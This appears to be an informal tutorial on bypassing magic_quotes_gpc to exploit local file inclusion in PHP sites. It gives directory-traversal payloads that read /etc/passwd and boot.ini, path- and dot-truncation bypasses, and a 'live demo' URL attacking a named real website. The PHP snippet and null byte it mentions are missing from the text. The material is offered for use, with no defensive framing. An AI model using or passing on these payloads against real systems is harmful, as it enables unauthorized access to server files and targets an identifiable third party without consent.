Today we gonna have a look on how to exploit a site and get results on a site which is vuln to LFI but has “Magic_quotes_gpc enabled”.
So What is Magic_quotes_gpc enabled actually.I am pretty sure most of you people know what it is.For those who don’t know i will give a small note on what Magic Quotes are.
Magic Quotes, generally speaking, is the process of escaping special characters with a ‘\’ to allow a string to be entered into a database. This is considered ‘magic’ because PHP can do this automatically for you if you have magic_quotes_gpc turned on.
So let’s use consider a simple php code.
So to exploit it we need a nullbyte i-e .
www.site.com/index?page=../../../../../../../../../etc/passwd
But if magic_quote_gpc is enabled than the null byte i-e will get converted to /0, and as a result we wont be able to get our desired results.
This is what we gonna see in such cases.
Code:Warning: include(/../../../../../etc/passwd [function.include]: failed to open stream: No such file or directory in /home/user/public_html/index.php
Bypassing Magic_Quotes.
1-Path Truncation:
?page=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
In some cases i found this one working.
?page=../../../../../../../../../etc/passwd./././././././././././…
2-Dot Truncation:
This method works on windows only.So if we add a large number of dots at the end of query than null byte is not required.
page=../../../../../boot.ini………………………………………………………
Example:-
Here is a live demo.
http://www.belka-mvd.ru/view.php?action=../../../../../../../../../../../../../../../etc/passwd&view=././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.